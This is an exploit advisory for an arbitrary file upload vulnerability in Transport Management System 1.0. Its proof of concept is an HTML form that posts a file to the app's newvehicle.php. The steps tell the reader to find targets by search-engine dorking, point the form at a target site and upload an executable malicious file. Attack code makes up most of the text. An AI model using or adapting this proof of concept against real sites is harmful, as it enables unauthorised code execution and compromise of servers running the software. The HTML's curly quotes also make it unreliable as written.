Transport Management System 1.0 Arbitrary File Upload
=============================================================================================================================================
| # Title : Transport Management System 1.0 Remote File Upload Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) |
| # Vendor : https://www.kashipara.xyz/download/project/user/2022/202203/kashipara.com_transport-management-syste.zip |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine. [+] The following html code uploads a executable malicious file remotely . [+] Go to the line 6. [+] Set the target site link Save changes and apply . [+] save code as poc.html .<!DOCTYPE html>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head profile=”http://www.w3.org/2005/10/profile”>
<script data-ad-client=”ca-pub-2400875940842439″ async src=”https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js”></script>
<br>
<form class=”form-horizontal” action=”http://127.0.0.1/Transport-Management/newvehicle.php” method=”post” enctype=”multipart/form-data”>
<div class=”input-group”>
<span class=”input-group-addon”><b>Registration Number</b></span>
<input id=”vehreg” type=”text” class=”form-control” name=”vehregno” placeholder=”Reg No”>
</div>
<br>
<div class=”input-group”>
<span class=”input-group-addon”><b>Chesis No</b></span>
<input id=”vehchesis” type=”text” class=”form-control” name=”vehchesis” placeholder=”Chesis No”>
</div>
<br>
<div class=”input-group”>
<span class=”input-group-addon”><b>Brand</b></span>
<input id=”vehbrand” type=”text” class=”form-control” name=”vehbrand” placeholder=”Brand”>
</div>
<br>
<div class=”input-group”>
<span class=”input-group-addon”><b>Color</b></span>
<input id=”vehcolor” type=”text” class=”form-control” name=”vehcolor” placeholder=”Color”>
</div>
<br>
<div class=”input-group”>
<span class=”input-group-addon”><b>Registration Date</b></span>
<input id=”vehregdate” type=”text” class=”form-control” name=”vehregdate” placeholder=”Registration date”>
</div>
<br>
<script>
$( function() {
$( “#vehregdate” ).datepicker();
} );
</script>
<br>
<div class=”input-group”>
<span class=”input-group-addon”><b>Description</b></span>
<textarea rows=”5″ id=”draddress” type=”text” class=”form-control” name=”vehdescription” placeholder=”Address”> </textarea>
</div>
<br>
<!–
<div class=”input-group”>
<span class=”input-group-addon”><b>Photo</b></span>
<input id=”vehphoto” type=”file” class=”form-control” name=”file”>
</div>
<br>
–>
<div class=”input-group”>
<span class=”input-group-addon”><b>Photo</b></span>
<input type=”file” class=”form-control” name=”file”>
</div>
<br>
<div class=”input-group”>
<input type=”submit” name=”submit” class=”btn btn-success”>
</div>
</form>
</div>
<div class=”col-md-3″></div>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================